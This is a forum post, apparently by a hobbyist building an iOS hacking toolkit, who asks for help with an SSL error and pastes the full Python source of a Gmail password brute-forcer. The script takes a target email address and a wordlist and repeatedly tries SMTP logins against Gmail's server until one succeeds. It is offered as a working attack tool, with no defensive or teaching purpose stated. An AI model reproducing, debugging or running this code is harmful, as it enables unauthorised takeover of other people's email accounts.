So as some you may know, I'm working on my own hacking toolkit for iOS! (It's currently in it's first beta, get it on my repo if you want to try it out.) Anyways, I'm coding a Gmail bruteforcer for it, but I keep getting a really strange error when I try to run it on my iPod. It works fine on my computer, but it should be noted that I have Python 3 on my computer, and I know that Python 3 has not been ported to iDevice yet. Anyway, here's the error I keep getting: sslerror: (8, 'EOF occurred in violation of protocol') And here's the source code for the tool: import smtplib
import sys
atk = 1
var = 1
print "Enter the target email address."
target = raw_input(">")
print "Enter the name of the wordlist to use."
list = raw_input(">")
try:
f=open(list)
lines=f.readlines()
except IOError:
print "Wordlist not found in path specified!!"
mailServer = smtplib.SMTP('smtp.gmail.com:587')
mailServer.ehlo()
mailServer.starttls()
mailServer.ehlo()
while var == 1:
try:
mailServer.login(target,lines[atk])
print "Password Found!! Pass at line ", atk
var = 2
mailServer.close
except smtplib.SMTPAuthenticationError:
print atk
atk = atk + 1
except smtplib.SMTPServerDisconnected:
mailServer = smtplib.SMTP('smtp.gmail.com:587')
mailServer.ehlo()
mailServer.starttls()
mailServer.ehlo()